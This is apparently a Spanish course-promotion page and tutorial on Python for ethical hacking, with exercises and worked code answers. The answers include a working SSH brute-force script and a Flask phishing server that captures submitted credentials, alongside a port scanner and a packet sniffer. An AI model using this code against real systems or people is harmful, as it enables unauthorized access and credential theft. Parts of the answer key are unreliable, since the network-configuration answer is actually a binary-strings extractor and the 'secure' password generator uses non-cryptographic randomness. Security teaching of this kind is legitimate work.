Mejorar las habilidades de programación, mejorar procesos y fácilitar la comprensión de código
Preparar un entorno dónde programar en Python
Operaciones aritméticas y jerarquía de Python
Manejo de cadenas en Python
Digitar datos por teclado con Python
Mostrar Datos por Pantalla al usuario en Python
Operadores Relacionales de Python
Operadores Lógicos de Python
Condicionales en Python
Estructuras de Datos: Listas, Tuplas y Diccionarios
Iteraciones y bucles repetitivos de Python
Segmentar Código y hacerlo más eficaz con las Funciones en Python
Gestionar posibles errores que puedan dar tus programas
Programación Orientada a Objetos
HTML y CSS
Selenium Web Driver con Python
Ejercitar todo lo Aprendido con Ejercicios

Python es Hoy uno de los lenguajes más utilizados por Excelencia. Esto se debe por su simpleza al momento de Desarrollar aplicaciones. Por su capacidad de procesamiento a altas velocidades con grandes volúmenes de información. Es un increíble lenguaje con el cual si no sabes programar, podrás aprender.

Y si ya sabes desarrollar, te aconsejo aprenderlo ya que en el mercado cada vez se solicitan más desarrolladores en Python. Aspirar al trabajo que desean, o mejorar sus ingresos con un aumento de salario. Python se utiliza para muchisimas cosas como:

Machine Learning
Data Science
Inteligencia Artificial.
Y mucho más!

En este curso te acompañare en el proceso por el cual aprenderás las bases del lenguaje, para luego determinar qué camino quieres seguir.

Te invito que me acompañes a conocer este Gran Lenguaje! Python Practicando. Desde 0 hasta Desarrollador en Python

Curso completo de Python. Desde 0 hasta Proyectos con Django

Te organizamos lo que debes aprender por objetivos diarios, tareas y practicas desde las bases de Python hasta Django

Lo que aprenderás

Python desde 0
Ejercicios para materializar lo aprendido
Script
Framework Django
Desarrollo de una App con Python
Modelos y migraciones
Bases de Datos
Interfaces Graficas
Manejo de vistas con clases
Manipular API de Facebook
Boostrap basico
Html basico
Usar Json
Templates
Modelos

En esta oportunidad te ofrecemos aprender Python de una forma online pero diferente, es decir, te organizamos el aprendizaje con objetivos diarios.

Con invertir 1 hora al día nosotros te proponemos aprender Python, con cada sección organizada con lo que necesitas aprender y no solo eso, con tareas en base a lo aprendido en la hora diaria.

Iniciamos desde cero, aprendiendo las bases de Python, y te llevamos hasta desarrollar una aplicación con bases de datos y el Framework Django, es decir encontraras proyectos reales en este curso.

Inicia ahora nuestro curso: Curso completo de Python. Desde 0 hasta Proyectos con Django

Python para Profesionales. Mejora tu Desarrollo

Si ya sabes Python y quieres dar un paso más, para manejar conceptos avanzados del desarrollo con este lenguaje.

Lo que aprenderás

Metodo especial __str__
Metodo especial __len__
Método especial __del__
Polimorfismo
Introspeccion
Abstraccion
Exepciones
Hilos – Procesos
Iteracion
Programacion Funcional
Expresiones Regulares
Archivos y compresion

¿Quieres mejorar como Desarrollador? ¿Te gustaría practicar temas avanzados de Python? ¿Quieres reforzar los temas complejos del desarrollo y en Python?

Si la respuesta a alguna de estas preguntas es que si, este curso es para ti. Hemos creado esta formación profesional con el objetivo de explicar en detalle lo que nos hubiera gustado a nosotros que nos expliquen. Iremos directamente al punto que deseas aprender, por ello damos por hecho que ya sabes Python al tomar este curso. Además de explicarte, tendrás práctica sobre los temas dado para que puedas materializar el conocimiento adquirido.

Inicia ahora nuestro curso: Python para Profesionales. Mejora tu Desarrollo

Desarrolla tus Robots automatizados en Trading con Python

Creamos Robots en el Lenguaje Python para realizar Trading en Criptomonedas. Explicados con practica paso a paso.

Lo que aprenderás

Como crear uno o varios robots traders de criptomonedas (Cualquier cripto!) Largo y corto plazo.
Crear robots AUTOMATICOS que trabajan con tendencias, medias móviles y precios.
Proyectos listos para que te descargues GRATIS de los distintos bots.
Aprender a debuguear y solucionar errores.
Identificar oportunidades de trading automático
Utilizar bibliotecas de Python para interactuar con API de Binance.
Correr varios robots simultaneamente para optimizar el tiempo.

En este curso te enseñaremos a crear Robots en Python donde podrás automatizar transacciones con stop loss y demás mecanismos del trading.

Empezaremos con:

Un robot de Largo plazo con medias móviles y tendencias y otro de cruce de medias móviles.
También estaremos creando varios robots de varios símbolos de criptomonedas
Este curso es 100% practico, damos por hecho que ya sabes programar en Python.
Así también te brindaremos todo el código de lo que enseñamos para que puedas volcarlo en la Practica.

Inicia ahora nuestro curso: Desarrolla tus Robots automatizados en Trading con Python.

Puntos clave del artículo y su resumen

Python como lenguaje preferido por hackers:
Es ideal para hacking ético por su simplicidad, soporte multiplataforma, comunidad activa y numerosas bibliotecas diseñadas específicamente para la ciberseguridad.
Áreas clave donde Python sobresale en ciberseguridad:
- Pentesting: Creación de exploits personalizados, automatización de pruebas y manipulación de herramientas como Nmap y Metasploit.
- Análisis de redes: Uso de Scapy para crear y analizar paquetes de red.
- Ingeniería inversa: Automatización del análisis de binarios y malware con herramientas como pyREtic.
- Automatización: Scripts para realizar tareas repetitivas, como escaneo de vulnerabilidades y gestión de redes.
Proyectos básicos y avanzados para aprender Python:
- Web scraping con bibliotecas como BeautifulSoup.
- Sniffers de red básicos para capturar tráfico de paquetes IP.
- Servidores de phishing para capturar credenciales de prueba (uso ético).
Por qué Python es ideal para principiantes:
Su sintaxis legible, compatibilidad multiplataforma y soporte para paradigmas de programación permiten a los principiantes concentrarse en aprender sin complicaciones técnicas.
Python en roles específicos de ciberseguridad:
- Analistas de malware: Automatización del análisis de software malicioso.
- Criptógrafos: Prototipado de algoritmos criptográficos con bibliotecas como PyCryptodome.
- Ingenieros de redes: Uso de Python para implementar infraestructura como código con Terraform y Ansible.
Cursos y certificaciones recomendadas:
- Certificación PCEP para validar conocimientos básicos en Python.
- Cursos especializados en Python para ciberseguridad, incluyendo proyectos de automatización, análisis y desarrollo de herramientas.
Consejos para aprender Python:
Practica diariamente, construye proyectos pequeños y comparte tu aprendizaje con comunidades de ciberseguridad.
Tendencias futuras:
Python seguirá siendo clave en ciberseguridad, especialmente en áreas como inteligencia artificial, hacking en la nube y blockchain.

Python no solo es una herramienta versátil y accesible, sino una plataforma poderosa para explorar y dominar el hacking ético.

Pon en práctica lo aprendido

Ahora pon a prueba lo aprendido con estas preguntas y ejercicios.

Preguntas sobre el artículo:

¿Qué características hacen de Python un lenguaje ideal para hacking ético?
¿Cómo Python ayuda en tareas de reconocimiento y enumeración en ciberseguridad?
Menciona y describe tres bibliotecas populares de Python para el hacking ético.
¿Qué habilidades clave debe desarrollar un aspirante a hacker al aprender Python?
¿Cuáles son las áreas del hacking donde Python es más útil y cómo se aplica en cada una?
¿Qué ventajas tiene usar Python en análisis de malware y reversing?
¿Cómo se utiliza Python en la creación de herramientas de phishing? Proporcione un ejemplo práctico.
¿Qué papel juega Python en la criptografía y cuáles son sus principales limitaciones en este campo?
Explica cómo un script de Python puede automatizar tareas repetitivas en la ciberseguridad.
¿Por qué es importante aprender a crear herramientas personalizadas con Python en lugar de depender exclusivamente de las existentes?

Ejercicios basados en el contenido del artículo:

Escribe un script en Python para realizar un escaneo de puertos abiertos en una dirección IP específica.
Desarrolla un script en Python que realice fuerza bruta contra un servicio SSH utilizando una lista de contraseñas.
Crea un servidor web de phishing básico con Flask que capture credenciales ingresadas por usuarios.
Implementa un sniffer de red en Python que capture paquetes y muestre la IP de origen y destino.
Diseña un generador de contraseñas seguras en Python con opciones de longitud y tipos de caracteres.
Crea un script en Python para extraer cadenas legibles de un archivo binario.
Desarrolla un script en Python para buscar vulnerabilidades de configuración en dispositivos de red.
Escribe un script en Python que automatice la recopilación de logs de un sistema para su análisis.
Implementa un script en Python para analizar encabezados de archivos PE (Portable Executable) en Windows.
Crea un programa que utilice una biblioteca de Python para detectar patrones anómalos en un archivo de registros.

Respuestas a las preguntas:

Python es ideal para hacking ético por su simplicidad, versatilidad y amplia disponibilidad de bibliotecas diseñadas para tareas específicas como manipulación de redes, automatización, y análisis de vulnerabilidades. También es multiplataforma y tiene una gran comunidad de soporte.
En tareas de reconocimiento y enumeración, Python puede automatizar escaneos de redes, recopilar información pública y enumerar servicios con herramientas como Scapy y sockets. Por ejemplo, scripts pueden buscar hosts activos o identificar puertos abiertos en un sistema.
Bibliotecas populares:
- Scapy: Manipula y analiza paquetes de red personalizados.
- Impacket: Proporciona implementaciones de protocolos de red para explotar redes.
- Pwntools: Facilita la creación de exploits y resolución de desafíos CTF.
Habilidades clave:
- Escritura de scripts para automatizar tareas.
- Uso de bibliotecas para analizar redes y vulnerabilidades.
- Desarrollo de herramientas personalizadas para pruebas de seguridad.
- Análisis de datos y registros.
Áreas útiles:
- Reconocimiento: Escaneo de redes y servicios.
- Explotación: Creación de scripts para vulnerabilidades.
- Phishing: Generación de servidores web falsos.
- Análisis de malware: Automatización del análisis de archivos maliciosos.
En análisis de malware y reversing, Python permite extraer datos de binarios, analizar estructuras y automatizar tareas repetitivas. Sin embargo, puede no ser ideal para análisis a bajo nivel, donde se requiere mayor control del hardware.
En phishing, Python facilita la creación de servidores web que simulan interfaces de inicio de sesión. Por ejemplo, un servidor Flask puede capturar credenciales ingresadas por usuarios en formularios falsos.
Python es útil en criptografía para prototipar algoritmos y analizar datos cifrados con bibliotecas como PyCryptodome y Cryptography. Sin embargo, su velocidad y nivel de abstracción no son ideales para implementaciones de producción.
Un script en Python puede, por ejemplo, analizar registros de red en busca de anomalías, enviar alertas automatizadas o realizar escaneos periódicos de vulnerabilidades en un sistema. Esto ahorra tiempo y reduce errores humanos.
Crear herramientas personalizadas con Python permite abordar problemas específicos, adaptar soluciones y mejorar habilidades en programación y ciberseguridad, algo esencial para enfrentar desafíos únicos.

Respuestas a los ejercicios:

Script de escaneo de puertos

import socket

def scan_ports(ip, ports):
    print(f"Escaneando {ip}...")
    for port in ports:
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
            result = sock.connect_ex((ip, port))
            if result == 0:
                print(f"Puerto {port} está abierto")
            else:
                print(f"Puerto {port} cerrado")

scan_ports("192.168.1.1", range(20, 1025))

Fuerza bruta SSH

import paramiko

def ssh_bruteforce(host, username, password_list):
    client = paramiko.SSHClient()
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    for password in password_list:
        try:
            client.connect(host, username=username, password=password, timeout=3)
            print(f"Contraseña encontrada: {password}")
            return
        except paramiko.AuthenticationException:
            continue
    print("Fuerza bruta fallida")

ssh_bruteforce("192.168.1.1", "admin", ["1234", "password", "admin"])

Servidor web de phishing

from flask import Flask, request

app = Flask(__name__)

@app.route('/', methods=['GET', 'POST'])
def phishing():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        print(f"Credenciales capturadas: {username}, {password}")
        return "Error: Usuario o contraseña incorrectos."
    return '''
        <form method="post">
            Usuario: <input type="text" name="username"><br>
            Contraseña: <input type="password" name="password"><br>
            <input type="submit" value="Iniciar sesión">
        </form>
    '''

app.run(host='0.0.0.0', port=8080)

Sniffer de red:

from scapy.all import sniff, IP

def packet_sniffer(packet):
    if packet.haslayer(IP):
        print(f"IP Origen: {packet[IP].src}, IP Destino: {packet[IP].dst}")

sniff(filter="ip", prn=packet_sniffer)

Generador de contraseñas:

import random
import string

def generate_password(length):
    chars = string.ascii_letters + string.digits + string.punctuation
    return ''.join(random.choice(chars) for _ in range(length))

print(generate_password(12))

Análisis de configuraciones de red

import re

def extract_strings(file):
    with open(file, 'rb') as f:
        content = f.read()
    strings = re.findall(b"[ -~]{4,}", content)
    for s in strings:
        print(s.decode())

extract_strings("archivo.bin")

Recopilación de logs

import shutil

def collect_logs(log_dir, dest_dir):
    shutil.copytree(log_dir, dest_dir)
    print(f"Logs recopilados en {dest_dir}")

collect_logs("/var/log", "/home/user/logs_backup")

Análisis de encabezados PE

import pefile

def analyze_pe(file):
    pe = pefile.PE(file)
    print(f"Entradas de sección: {pe.FILE_HEADER.NumberOfSections}")
    for section in pe.sections:
        print(f"Nombre: {section.Name}, Tamaño: {section.SizeOfRawData}")

analyze_pe("archivo.exe")

Análisis de patrones anómalos

import re

def analyze_logs(log_file, pattern):
    with open(log_file, 'r') as f:
        for line in f:
            if re.search

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Esta guía va a tener una actualización constante durante todo el año. Para no hacer de esta guía un post maratónicamente largo voy a dividirlo en varios capítulos que van desde como iniciar en hacking y ciberseguridad, pasando por conocimientos básicos como Redes, Linux, Programación, Hasta como obtener certificaciones y trabajo. Cada capítulo contiene links a otros posts en donde desarrollo mejor cada tema y a webs externas que complementan este material.

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Sobre los autores

Álvaro Chirou

Yo soy Álvaro Chirou, tengo más de 20 Años de experiencia trabajando en Tecnología, eh dado disertaciones en eventos internacionales como OWASP, tengo más de 1.800.000 estudiantes en Udemy y 100 formaciones profesionales impartidas en la misma. Puedes seguirme en mis redes:

Laprovittera Carlos

Soy Laprovittera Carlos. Con más de 20 años de experiencia en IT brindo Educación y Consultoría en Seguridad de la Información para profesionales, bancos y empresas. Puedes saber más de mi y de mis servicios en mi sitio web: laprovittera.com y seguirme en mis redes:

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